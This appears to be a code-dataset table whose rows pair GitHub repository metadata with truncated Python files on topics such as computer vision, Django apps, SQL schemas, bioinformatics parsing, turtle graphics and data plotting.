blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 213
values | src_encoding stringclasses 30
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 2 10.3M | extension stringclasses 246
values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
44c52c00ce7f7050f6e5be57b23b40089305b112 | 662c9b1dd64fc87a17e62ccab8a1b3b3f58604e8 | /Reference Code/lib/modeling/rpn_heads_panet.py | 8e36ec0d7637b94bb760f8316be5600438387de1 | [
"MIT"
] | permissive | lixiang95/Amodal-Instance-Segmentation-through-KINS-Dataset | 004daf92dc5a16ff0902b19102dec8d7299a1884 | 052a548c585ddc60ff5188cfe2345343903daf73 | refs/heads/master | 2022-04-05T02:43:25.683524 | 2020-02-16T12:09:42 | 2020-02-16T12:09:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,531 | py | from torch import nn
from torch.nn import init
import torch.nn.functional as F
from core.config import cfg
from modeling.generate_anchors import generate_anchors
from modeling.generate_proposals import GenerateProposalsOp
from modeling.generate_proposal_labels import GenerateProposalLabelsOp
import modeling.FPN_PANET1... | [
"qqlu1992@gmail.com"
] | qqlu1992@gmail.com |
575f16350068085904d3e88d041788aa5d2ad0bc | c6b46e402eea7769dd5c7e5232e677976ddd7482 | /main.py | 9b7acb37f2a0ee60bbe8a8e955537c68e2642ddb | [
"MIT"
] | permissive | alhazmy13/ResistorsOpenCV | cbdab3b2c3c9736452e7a97f0f2c16e3b630a39d | 95237e6014ef51a4a2eb3f049f9844f535090ecf | refs/heads/master | 2023-02-14T02:24:55.266688 | 2020-10-25T12:16:52 | 2020-10-25T12:16:52 | 307,081,563 | 3 | 0 | null | 2020-10-25T12:04:24 | 2020-10-25T11:14:44 | Python | UTF-8 | Python | false | false | 305 | py | import cv2
from vision import Vision
vision = Vision()
if __name__ == "__main__":
while not (cv2.waitKey(1) == ord('q')):
_, live_img = vision.get_camera()
vision.print_result(live_img=live_img)
cv2.imshow("Frame", live_img)
vision.release()
cv2.destroyAllWindows()
| [
"me@alhazmy13.net"
] | me@alhazmy13.net |
ab1ae3d0b32da3e9f20bd3fb9d1b81d217bd46eb | 02d0b4180184eb5598b3f9c7d2c34540562e74ea | /ND03 - Data Warehouse/sql_queries.py | 07cf68f9a46e83fc8bf42ff754f8ffebd3afe15c | [] | no_license | sketha33/Udacity_DE_NanoDegree | 8d6e0438686cd61c925c39f13c74257ea6bd9edc | b0d310821a4ea98afd1c7b5ca9f06b0cc1ca2c5f | refs/heads/main | 2022-12-29T19:42:33.974834 | 2020-10-18T20:22:23 | 2020-10-18T20:22:23 | 303,818,151 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,499 | py | import configparser
# CONFIG
config = configparser.ConfigParser()
config.read('dwh.cfg')
# Truncate TABLES
staging_events_table_trun = "TRUNCATE TABLE staging_events"
staging_songs_table_trun = "TRUNCATE TABLE staging_songs"
songplay_table_trun = "TRUNCATE TABLE songplay"
user_table_trun = "TRUNCATE TABLE users"
son... | [
"noreply@github.com"
] | sketha33.noreply@github.com |
05da5fd12fbafb2386db3b2f9980d4c9d9063e02 | 5d34689e0fe3dea453416bd7849b8028e1a0b3e4 | /Bio/Align/sam.py | 522ded168bad2599cfc7bd7e1c5d2cc887ca7f9c | [
"BSD-3-Clause",
"LicenseRef-scancode-biopython"
] | permissive | fabianegli/biopython | 2996d4209933b15e42db7e95f4a36d84a4df0ebd | 06a96c0311ec7a8b714adff9f8b6d3414ecc70a0 | refs/heads/master | 2022-09-04T15:33:07.733522 | 2022-08-09T10:18:45 | 2022-08-09T10:18:45 | 167,009,089 | 0 | 0 | NOASSERTION | 2022-06-15T13:27:43 | 2019-01-22T14:34:52 | Python | UTF-8 | Python | false | false | 30,190 | py | # Copyright 2022 by Michiel de Hoon. All rights reserved.
#
# This file is part of the Biopython distribution and governed by your
# choice of the "Biopython License Agreement" or the "BSD 3-Clause License".
# Please see the LICENSE file that should have been included as part of this
# package.
"""Bio.Align support fo... | [
"noreply@github.com"
] | fabianegli.noreply@github.com |
848f6eb93120d4e255b540a17c2a3762b9c4cd03 | 127525c61d9f4b4f6a69998a07d058e2e53505e2 | /index/forms.py | bb09938d4585eaf5d593292b2ad3e9a8aebaf2f4 | [] | no_license | Oluwatobi17/spud | c742b772282188866b4d158fe950ba2389f22443 | 7d4dd81f32c1352dc6b41a9f4c88cc881a888878 | refs/heads/master | 2022-12-14T19:24:23.765046 | 2020-07-26T22:21:21 | 2020-07-26T22:21:21 | 293,567,613 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 529 | py | from django import forms
from .models import User, Commodity, Cart
class UserForm(forms.ModelForm):
password = forms.CharField(widget=forms.PasswordInput)
class Meta:
model = User
fields = ['username', 'first_name', 'last_name','email', 'password']
class CheckoutForm(forms.ModelForm):
class Meta:
model = ... | [
"ganiuolalekan2000@yahoo.com"
] | ganiuolalekan2000@yahoo.com |
ba7cf89efb3b3e047499591256a9cb869bc442da | 351f709d96fc08b2f42f2dd42efe02bff76f41a3 | /turtleDraw.py | 43a47232ccafb0270905bcad25214f5e0d2dae93 | [] | no_license | ChristopherGawdzikD/Turtles | 69f9a36627eeea5e7f1d38bbce6126fbe09c91d9 | 8eeb33f2706c15ba6e4bbb869cada5bebf941616 | refs/heads/master | 2022-12-04T00:02:12.125401 | 2020-08-16T18:54:40 | 2020-08-16T18:54:40 | 288,003,895 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 270 | py | from turtle import*
def getAudiLogo():
# Will make audi logo
#Uses two for loops with one nested
for i in range(4):
for x in ["grey"]:
color(x)
pensize(5)
circle(50)
forward(60)
print(getAudiLogo())
| [
"noreply@github.com"
] | ChristopherGawdzikD.noreply@github.com |
f18eaaed0fbf1f40f0d8fed1c9e176c104f334bf | 4454ed622d051f602373d7946a3936ff33cc8e97 | /alien/enemy.py | 1536b22abde5d8b5dd744b37d3c66d5005970225 | [] | no_license | showlocked/plane_game | 23c056c7b85c00184c357001db21300d5eb1680e | b25cd1fdbce2735c903bbedb02fd85a457bcdc8f | refs/heads/master | 2021-09-26T22:00:14.874451 | 2017-12-24T18:21:19 | 2017-12-24T18:21:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,560 | py | from random import random
import pygame
from pygame.sprite import Sprite
__author__ = 'heshipeng'
class Enemy(Sprite):
""" 敌方飞机类 """
def __init__(self, ali_settings, screen):
""" 初始化外星人并设置其初始位置 """
super(Enemy, self).__init__()
self.screen = screen
self.ali_settings = ali_set... | [
"727138269@qq.com"
] | 727138269@qq.com |
97b1215057e7a75ddc92b8f5f933bb8ee03b0733 | 23adf40a6ec7e99634053c6eb24c59fd3be4cacd | /Project_3.py | fc3c4d80837f59b8ad07c7b5648dd22578a1df1d | [] | no_license | fyiidk/ITT109-GROUP_ASSIGNMENT | 07164611168347d4b1029eed33aa447c7a190afb | 286fd86532dcbaa42ee40f73ccb6a030fbfad468 | refs/heads/master | 2020-05-06T15:35:59.914433 | 2019-04-08T16:38:26 | 2019-04-08T16:38:26 | 180,198,546 | 0 | 0 | null | 2019-04-08T17:23:02 | 2019-04-08T17:23:02 | null | UTF-8 | Python | false | false | 2,477 | py | #! /usr/bin/python
from tkinter import *
from random import randint
#main function for determaining wins, loses and draws.
def play(event):
#Images for Choices
scissor_image = PhotoImage(file="scissor.png")
rock_image = PhotoImage(file="rock.png")
paper_image = PhotoImage(file="paper.png")
output = Label(sidefra... | [
"noreply@github.com"
] | fyiidk.noreply@github.com |
593300d8d86a3b96ee66b4f708950e7b2bf3ea0e | 7e8752279e9b3c81ead83e6d5c5b57b65372db19 | /getContent.py | cc9e336cd50683b8c8db0bde7ecef74bcd0744ae | [] | no_license | kavenshi/spiders | 4ef8a7d28775de213e9fe6f7be2d75e3a1b2aa00 | a136a28018782661dda7ae0eed963a54a2e0cf7b | refs/heads/master | 2021-09-06T10:03:49.414997 | 2018-02-04T11:34:41 | 2018-02-04T11:34:41 | 91,144,755 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 505 | py | import re
def getcontent(listurl):
i=0
for i in range(0,len(listurl)):
for j in range(0,len(listurl[i])):
try:
url=listurl[i][j]
url=url.replace("amp;""")
#open the url
data =
titlepat = "<title>(.*?)</title>"
... | [
"shilinpeng1990@aliyun.com"
] | shilinpeng1990@aliyun.com |
f0a267d44630536aca0d49d18c4e2b1a5ad6841f | 2d9fd57b30cfdda54b1277729b8e50d82120197c | /PEPapp/PEPapp/view.py | fdf075d1ae834a8d568882fc59760f3b36eafc71 | [] | no_license | paulinsider/PEP | c7f07c8d7a058525ceec5110d4361d74fe810b1c | 68f43a36aae05322dae7b9742429d51416e6f2af | refs/heads/master | 2021-01-19T18:23:06.492274 | 2017-08-29T08:31:27 | 2017-08-29T08:31:27 | 101,129,826 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,706 | py | from django.http import HttpResponse,JsonResponse
from ContainerModel.models import Container_list
from django.shortcuts import render
import os
def index(request):
return render(request, 'common/index.html')
def list(request):
response = []
list = Container_list.objects.all()
for var in list:
... | [
"pav1,paulinsider@gmail.com"
] | pav1,paulinsider@gmail.com |
e1c702b160ba4a1de40e09ddb343fe3c2f08c3f7 | 8b19b224b9a26ebf586e295c61954ffb927f6e04 | /MUPHY/MAGIC/BACKEND/SCRIPTS/TOOLS/get_xsect2.py | aad7b98542b39a06acd098f22067445908a72055 | [] | no_license | iacs-ac290r-2019/homework | 5ca12a3e7fa0721e6785ca5a9069037673c3c591 | 7e052a85f97d0496c44b7aea1e5671c982cb064a | refs/heads/master | 2020-04-22T22:27:57.534981 | 2019-05-08T03:52:20 | 2019-05-08T03:52:20 | 170,709,287 | 0 | 0 | null | 2019-04-09T15:37:53 | 2019-02-14T15:01:52 | Jupyter Notebook | UTF-8 | Python | false | false | 14,105 | py | #!/usr/bin/env python
import os
import re
import sys
import time
import math
import getopt
def usage():
print >> sys.stderr, "Usage:",sys.argv[0],"-g stl_file -c vtk_file -s px,py,pz -e px,py,pz -n numcuts [-m]"
print >> sys.stderr, "Options:"
print >> sys.stderr, "\t-g stl_file"
print >> sys.stderr, ... | [
"michael.s.emanuel@gmail.com"
] | michael.s.emanuel@gmail.com |
62aafbdb22650f40b609eb82abfdd148b18ba3a7 | 64654842414a5bbffa2456f706c14d1a5a1dbae2 | /autoarxiv/warden/scripts/emailer.py | 0091e500d47aefcb749603575cbd4c06a4c8253d | [
"MIT"
] | permissive | Reslix/AutoArxiv | e25b1bdf94b9b01109bed7399c86da76a6df9f3a | 96f57e687716c1b0d0786943fbc74bf2f4389da7 | refs/heads/master | 2021-01-20T11:41:36.617274 | 2018-01-23T00:54:34 | 2018-01-23T00:54:34 | 77,075,353 | 0 | 0 | null | 2017-02-03T05:48:27 | 2016-12-21T18:11:54 | Python | UTF-8 | Python | false | false | 6,709 | py | import re
import email
import imaplib
from django.core.mail import send_mail
from autoarxiv import settings
from warden.models import Author, AuthorRating, Article, ArticleRating, Member
from warden.scripts.data_connector import DataConnector
def send_listing(e_mail, listing):
"""
Formats the sorted listing ... | [
"huashengz@gmail.com"
] | huashengz@gmail.com |
e87ab2c053552be6df6333daf37c54e1c4e56527 | 3adf9934a74077c328b9a0afff37f8ca355eead1 | /comicresizer/forms.py | a2f083f2fd6d9a8ab0f950d16e2e7b6010e34b3e | [] | no_license | jgasteiz/comic-resizer | 36671623fe9909f23fba793b44cf4ac56380926a | 12d2e12efdf2017746d67a4b6d9616613ee58bb9 | refs/heads/master | 2021-07-05T05:56:00.911958 | 2017-09-27T07:43:58 | 2017-09-27T07:45:25 | 104,987,910 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 105 | py | from django import forms
class ComicUploadForm(forms.Form):
file = forms.FileField(required=False)
| [
"javi.manzano.oller@gmail.com"
] | javi.manzano.oller@gmail.com |
9e5d44f522f009d23699c1591c4e0874b753a458 | 74b978b712a5fa1645e7b7dcc9488a9a47a7a1b5 | /blueprint/models.py | d4fb16656bfd02c446dbc1c4704c4fcfc26c8fbc | [] | no_license | ikalchenko/blueprint | 6a9653365c08651e997e0ee230e945d405746cb7 | ab5c039fe2a1fce75266f17e00c867e2abd05e78 | refs/heads/master | 2020-05-21T18:55:43.272085 | 2019-05-20T19:21:32 | 2019-05-20T19:21:32 | 186,143,153 | 0 | 0 | null | 2019-05-20T19:21:34 | 2019-05-11T14:30:33 | Python | UTF-8 | Python | false | false | 299 | py | from .extensions import db
class BaseModel(db.Model):
id = db.Column(db.Integer, primary_key=True)
# date_created = db.Column(db.DateTime, server_default=db.func.now())
# date_modified = db.Column(db.DateTime, server_default=db.func.now())
async def serialize(self):
pass
| [
"ikalchenko99@gmail.com"
] | ikalchenko99@gmail.com |
e770a09f01a41928a6a78f803955c09a6b3e83a7 | 33638679295dbe6bf1c9708fba570708afdc081b | /api/stablemanager/datalayer.py | 5229c165c0ee079a4229b0c9b6270f1044727fe5 | [
"Apache-2.0"
] | permissive | toddg3s/wtfmanager | 3317c252138d390766d3214ae6ccc472f0413d87 | 04fb30fb7de1a60a74e17b1254b5c2d3a7450b73 | refs/heads/master | 2021-08-31T22:45:12.444566 | 2017-12-23T06:55:33 | 2017-12-23T06:55:33 | 115,176,380 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,260 | py |
class DataProvider:
def get(self, datatype, dataid):
pass
def put(self, dataobject):
pass
def delete(self, dataobject):
pass
def query(self, datatype):
pass
def get_actions(self, from_date, to_date):
pass
def get_horse_schedules(self, horse_id):
... | [
"todd@g3s.net"
] | todd@g3s.net |
94540c0cfc7509d41aeaeedc64a11096d5b2616a | 81d955c3ac886e690ceb01026ed769b1784dbef9 | /purity_fb/purity_fb_1dot8/apis/quotas_groups_api.py | 665498e5f3f9ea81a3c569698b958f1cb115c367 | [
"Apache-2.0"
] | permissive | etsangsplk/purity_fb_python_client | bc525ef1a18f6a79c1536cb4519a7efd58d09d89 | 0807a0fa2eab273bc08f73266d9cda9fa33b37bd | refs/heads/master | 2020-06-03T05:49:03.015147 | 2019-05-16T06:11:40 | 2019-05-16T06:11:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 26,547 | py | # coding: utf-8
"""
Purity//FB REST Client
Client for Purity//FB REST API (1.0 - 1.8), developed by [Pure Storage, Inc](http://www.purestorage.com/). Documentations can be found at [purity-fb.readthedocs.io](http://purity-fb.readthedocs.io/).
OpenAPI spec version: 1.8
Contact: info@purestorage.com
... | [
"azaria.zornberg@purestorage.com"
] | azaria.zornberg@purestorage.com |
bd46f51391adaab5845a6bb2c79fc3eaaea9933a | 878ef94475b349e567f4cae860fc72fc10b98b37 | /tests/test_src_introspection.py | 44936aba966194503e6b4ce68c650a21b71cc7dc | [
"BSD-2-Clause"
] | permissive | alexswerner/robotpkg_helpers | ec75180a748c5b0af3efed0762a66442469471f8 | 4cda66e8b9eeedc4dea9f5d4754595e2813a10ad | refs/heads/master | 2021-05-19T13:34:59.518543 | 2020-04-03T01:22:05 | 2020-04-03T01:22:05 | 251,726,724 | 0 | 0 | BSD-2-Clause | 2020-03-31T20:43:00 | 2020-03-31T20:43:00 | null | UTF-8 | Python | false | false | 1,005 | py | #!/usr/bin/python3
from unittest import TestCase
from robotpkg_helpers import RobotpkgSrcIntrospection
from robotpkg_helpers import init_environment_variables
from robotpkg_helpers.utils import add_robotpkg_mng_variables
robotpkg_root='/integration_tests/robotpkg-test-rc'
#robotpkg_vars = add_robotpkg_mng_variables(r... | [
"ostasse@laas.fr"
] | ostasse@laas.fr |
9e750f8075d60ec1bff5c0ffbb0d33f61c64a8dd | 2b7cc7d56ee829213d0111f9c729997f708f9c66 | /CreateDB/main.py | 0bfe8ad211906988fffb8422edc8c842c6550f66 | [] | no_license | Vincentie/TreePrediction | 69bb3e92afdd9c33070a18478b604d94feaf45bb | 47d632c5701916a581964bf683d4551e0ededca4 | refs/heads/master | 2021-01-20T17:29:30.309974 | 2018-09-01T14:57:43 | 2018-09-01T14:57:43 | 90,878,296 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,015 | py | __author__ = 'JianxuanLiu'
from parse_and_save_data import parse_and_save_data
from tradeDays import getTradeDays
from computeSentimentals import computeSentiments
import numpy as np
import pandas as pd
from datetime import datetime
from datetime import timedelta
import sqlite3
""" This main.py is performed to creat... | [
"lavinho@hotmail.com"
] | lavinho@hotmail.com |
913a6ef26df5d59e656f52dc0d849452433fc3c5 | 1451a6fa3403a6b33c2adc31d94070ab16dca333 | /avaliacao2/tweet_stream.py | 9cfd7f240ef2a61b571df332ef38ba3e010927ef | [] | no_license | lucaslioli/ufsm-deep-learning | b22a4ac5fa1604f04c9bd422b5b58f6e62577006 | cf32547969d7ad7ad14235561df70a2a942ea9ec | refs/heads/master | 2020-03-21T14:42:35.469428 | 2019-10-14T12:31:48 | 2019-10-14T12:31:48 | 138,671,760 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,784 | py | import sys
import tweepy
import pickle as pkl
from authenticate import api_tokens
#override tweepy.StreamListener to add logic to on_status
class MyStreamListener(tweepy.StreamListener):
def on_status(self, status):
if(not status.retweeted and 'RT @' not in status.text[0:4] and status.lang == "pt"):
... | [
"loliveira@inf.ufsm.br"
] | loliveira@inf.ufsm.br |
746945952b0fab1f51ee929ad0f0cbeb6aad6a22 | 4fd90203c000cc4c15fc6d4538e9536f812af05a | /Chapter05/Erosion_Dilation.py | c59037f09ddb47686ea3c34fcf5f01d7aa86b049 | [
"MIT"
] | permissive | drabdkadir/GettingStartedwithPythonfortheInternetofThings | 77487bbece9fd73ac7d5759d108686e6348dee66 | 86b57062879baaafd8a7ad332057359874bb3978 | refs/heads/master | 2020-12-06T15:41:03.055803 | 2019-02-19T10:09:20 | 2019-02-19T10:09:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,361 | py | # Erosion and Dilation are Morphological Operations
# Erosion: Removes pixels at the boundaries of objects in an image
# Dilation: Adds pixels to the boundaries of objects in an image
# Import Computer Vision package - cv2
import cv2
# Import Numerical Python package - numpy as np
import numpy as np
# Read the image... | [
"packtadrian@gmail.com"
] | packtadrian@gmail.com |
dfffaf1c880faeb1839261b33d4f3388ffc6080d | 6a84e70184c2ea229a0db4f472426d7d585a1a4a | /turtle/lego_heads/head_c_while.py | 74d373d3ad6ccfd35150faee6d67bf72d756765e | [] | no_license | GBSL-Informatik/python-examples | 5bcf89e255b05dac4a6b7e55efbbe144a2acc070 | b0ac92a8ebda2cc665d0cc4a8f3d69f3ccfb211f | refs/heads/master | 2023-01-02T15:28:27.863878 | 2020-11-01T21:00:19 | 2020-11-01T21:00:19 | 283,978,874 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 662 | py | from gbsl_turtle import *
goto(-30, 0, draw=False)
counter = 0
while counter < 8:
forward(60)
left(45)
counter = counter + 1
goto(-30, 100, draw=False)
setheading(180) # Orientierung nach links: ◀️
counter = 0
while counter < 8:
forward(5)
right(45)
counter = counter + 1
goto(30, 100, ... | [
"lebalz@outlook.com"
] | lebalz@outlook.com |
bbd48bd8cb59d48d867df4dbad5af7cf9a4a87d6 | 085ce75a507df6e755cabb7a65c4a2a8c98762ba | /dockerfiles/root/.pycharm_helpers/python_stubs/-252567642/_multiprocessing.py | fee21a8eebfb053e451fc85ad0c04b02fa80eb4e | [] | no_license | Arhzi/habr-docker-article | d44302db1fe157d81fe0818e762e82218f50e31f | 6fb094860b612e307beadaeb22981aa0ee64e964 | refs/heads/master | 2021-01-23T20:41:47.398025 | 2015-12-10T08:56:33 | 2015-12-10T08:56:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,156 | py | # encoding: utf-8
# module _multiprocessing
# from /usr/local/lib/python2.7/lib-dynload/_multiprocessing.so
# by generator 1.137
# no doc
# no imports
# functions
def address_of_buffer(obj): # real signature unknown; restored from __doc__
"""
address_of_buffer(obj) -> int
Return address of obj assuming ob... | [
"sirnikolasd@yandex.ru"
] | sirnikolasd@yandex.ru |
3230e906d4b1aa90eb08e3bde5029121942a2cbd | 7f3d3d02c3ab6e14e72ba4852828071af37088b5 | /unicorn/utils.py | 28b212cd4e1e3a2979ad7dbf787622b52a3ff4c3 | [
"MIT"
] | permissive | phantasy-project/unicorn | cf28b936e2a11ba551724fda8ad7f72da129b661 | 25d790adb1c4390eb715249dc94423228997f3a4 | refs/heads/master | 2021-10-27T06:23:33.688585 | 2021-10-15T19:28:01 | 2021-10-15T19:28:01 | 150,592,912 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,355 | py | # -*- coding: utf-8 -*-
import pickle
import codecs
import xlrd
import numpy as np
import sys
from collections import namedtuple
DATA_X_COL_IDX = 7
DATA_Y_COL_IDX = 8
UniFunc = namedtuple('UniFunc',
'name ename from_field to_field description args code code_str data_x data_y')
def pickle_obj(obj, coding='base64... | [
"zhangt@frib.msu.edu"
] | zhangt@frib.msu.edu |
78db018846126fb9febd6f19a4e4506f2d44c459 | 4ea4f9f8cbb652aea7f82089eb39b8a86a466a81 | /lib/muchos/config/__init__.py | 13294f17e2ca9040fc4f68596eaa0a65f18d19d9 | [
"Apache-2.0"
] | permissive | shannawaz/fluo-muchos | 62ef9bf65baae3a823630fc11e35b4620aac2056 | 98102a5b14a71642a7972d20d57b38373a375577 | refs/heads/master | 2020-09-24T02:40:37.204495 | 2020-03-24T18:06:38 | 2020-03-24T18:06:38 | 225,641,914 | 0 | 0 | Apache-2.0 | 2019-12-03T14:37:26 | 2019-12-03T14:37:26 | null | UTF-8 | Python | false | false | 1,700 | py | #
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... | [
"kturner@apache.org"
] | kturner@apache.org |
d4198914f012849544bc1c5edb24c3a5c7164a20 | 6151a3c25988eb4eac0c00289b90b2e42d4960eb | /homeworks/HW01/tests/q3.1.4.py | 169c9f8d67015fae9fa40c7ff6828bffde9e7c4e | [] | no_license | BC-COMS-2710/summer21-material | 8e3bbbb375433fa0b575cf39eed4bdf2d3b486d3 | f07ffc1595d7a924a5fca0636161ded26b28e655 | refs/heads/master | 2023-05-28T22:52:25.941752 | 2021-06-10T14:44:42 | 2021-06-10T14:44:42 | 353,820,186 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 545 | py | test = { 'name': 'q3.1.4',
'points': [0.1, 0.1],
'suites': [ { 'cases': [ {'code': '>>> assert easiest_fres_pres != ...;\n>>> assert easiest_fres_year != ...\n', 'hidden': False, 'locked': False},
{'code': '>>> assert type(easiest_fres_pres) == str;\n>>> assert "int" i... | [
"azpoliak@gmail.com"
] | azpoliak@gmail.com |
ba86f9ca658290dd2ff911890bc481e0c6568938 | 82e7b27cc4377def80c2b475645d502e40a0e498 | /newsletter/migrations/0009_auto_20160215_0258.py | d627d656950946d66269e848a6dd0b1a53943507 | [] | no_license | craYBoi/bryte | 850698e735a08ea10a08a78dc9e23b7e760c682f | d2b5a74d200ccb06cc3ef4e3180b83cbc338ce3e | refs/heads/master | 2022-12-12T08:54:56.863372 | 2017-06-28T05:03:32 | 2017-06-28T05:03:32 | 63,019,677 | 0 | 0 | null | 2022-11-22T01:00:25 | 2016-07-10T21:44:41 | CSS | UTF-8 | Python | false | false | 475 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.1 on 2016-02-15 02:58
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('newsletter', '0008_auto_20160215_0249'),
]
operations = [
migrations.AlterFi... | [
"baoyuyang@Yuyangs-MacBook-Pro.local"
] | baoyuyang@Yuyangs-MacBook-Pro.local |
03221d11ae596056771dd6a40155d30b9efb8bb4 | 7d98a40b425bfae9cac908d227a90e040300f3e8 | /app/main/errors.py | 5d2f11e1532ea3e234aa61423854b6769a8a9f4b | [
"MIT",
"ODbL-1.0"
] | permissive | jmeydam/alternative-destinations | b999b340590fa0ceb162e5de1b2170e510affb31 | dec000db45a8005ff5408bc9756ea13f821b52f1 | refs/heads/master | 2020-04-13T20:17:53.900399 | 2019-10-24T16:01:27 | 2019-10-24T16:01:27 | 163,426,383 | 0 | 0 | MIT | 2019-10-25T11:19:45 | 2018-12-28T15:52:02 | Python | UTF-8 | Python | false | false | 253 | py | from flask import render_template
from . import main
@main.app_errorhandler(404)
def page_not_found(e):
return render_template('404.html'), 404
@main.app_errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500
| [
"jmeydam@gmail.com"
] | jmeydam@gmail.com |
401fa3bf6245f4b4d4def26da033aa3a82b885bf | 57588093c6ed6dff087d71073eabb061210bd5eb | /myproject/urls.py | 22a7f73fecef274020ae45dcdcdc6d96f784f13a | [] | no_license | python-ottawa/opag | a2249a0da49af586c01934f9cf9e6596815d8733 | 66ea38475974f0e0edf04c3e9b86e612fedf8fb8 | refs/heads/master | 2021-07-03T14:47:36.498972 | 2015-06-24T22:27:32 | 2015-06-24T22:27:32 | 35,083 | 2 | 1 | null | 2021-06-10T17:27:49 | 2008-07-18T01:11:44 | HTML | UTF-8 | Python | false | false | 715 | py | from django.conf.urls.defaults import *
from django.contrib import admin
from django.conf import settings
admin.autodiscover()
urlpatterns = patterns('',
# To serve static content in development.
# Admin access
(r'^admin/', include(admin.site.urls)),
# Default handler is the main app.
(r'', includ... | [
"msoulier@digitaltorque.ca"
] | msoulier@digitaltorque.ca |
3678b34fa02bf2efb255c7b1a52c9d39e07c3bfb | b78c255d1c8b917c21bf689f5f9153d765fbe195 | /dogpack/apps/2d/advection/rotating_unst/plotq2_unst.py | 7daa00269f64d5c3e12163634a8895661de93be2 | [] | no_license | smoe1/ImplicitExplicit | 8be586bed84b1a661e5fe71f5b063dcd406643fa | 2b9a2d54110ca0f787d4252b9a8cc6d64b23b08d | refs/heads/master | 2016-09-08T02:39:48.371767 | 2015-09-15T21:15:08 | 2015-09-15T21:15:08 | 41,374,555 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,142 | py |
#----------------------------------------------------------
def plotq2_unst(outputdir, n1, m, meqn, NumPhysElems, NumPhysNodes,
xlow, xhigh, ylow, yhigh, time, x, y,
tnode, qsoln, xmid, ymid, qsoln_elem):
import numpy as np
import matplotlib.pyplot as plt
from math import... | [
"smoe@uw.edu"
] | smoe@uw.edu |
afa6b518a0c6de01cc70441c23e6ca16e0edd3b8 | 74d1757d8788d5892a8853b15749391fdf9c1a6a | /TaskAPI/TaskAPI/urls.py | 4ba00b3c745c334f8fa19b18ffbc3b133f84f7e8 | [] | no_license | gogobook/TaskAPI | e3139a70f2f5257c83a590e13005ac4f7740f1d4 | 9b918659bba4aa562000219ef65dbce21a363f10 | refs/heads/master | 2020-06-30T23:46:14.955729 | 2016-11-23T09:31:13 | 2016-11-23T09:31:13 | 74,561,224 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,151 | py | """TaskAPI URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.10/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-ba... | [
"O968041428@gmail.com"
] | O968041428@gmail.com |
086aebcfe4c9dc2fee2d104a55ae67c41c0a5a78 | a9c9316fe425dac911ca6b3e33d2c76c48e428b3 | /maro/cli/process/agent/job_agent.py | 9949099a4a06c3dc64c4c01c928c20c7d4ebcf1d | [
"MIT",
"LicenseRef-scancode-generic-cla"
] | permissive | 00mjk/maro | a64601d5c43a7e6808b1cab1c19be15595395ce1 | 05a64a67fee7d2c4198a57593c464d64e0a8ce7f | refs/heads/master | 2023-03-11T16:58:54.043497 | 2021-02-10T15:31:58 | 2021-02-10T15:31:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,593 | py | # Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
import json
import multiprocessing as mp
import os
import subprocess
import time
import psutil
import redis
from maro.cli.process.utils.details import close_by_pid, get_child_pid, load_setting_info
from maro.cli.utils.params import LocalPaths, ... | [
"noreply@github.com"
] | 00mjk.noreply@github.com |
0e20b8dd3e3ed1558f602d3055cc0b3c37906bf2 | 50df6586213af876ee741be559434537b1ef03ef | /first/second.py | ff1e56b06a3fb21265e3ceeb8b06c36996b077d9 | [] | no_license | ujjwalagr/HacktoberFest | e4329550cb320f4b3a369a91e4de51857b6e4755 | 884d5993c8ac30a4af23d213f3b22002eb7bd39b | refs/heads/master | 2020-08-08T15:11:47.778438 | 2019-10-09T08:10:36 | 2019-10-09T08:10:36 | 213,856,036 | 0 | 2 | null | 2019-10-13T08:37:07 | 2019-10-09T07:56:08 | Python | UTF-8 | Python | false | false | 16 | py | print('second')
| [
"ujjwalagrawal53@gmail.com"
] | ujjwalagrawal53@gmail.com |
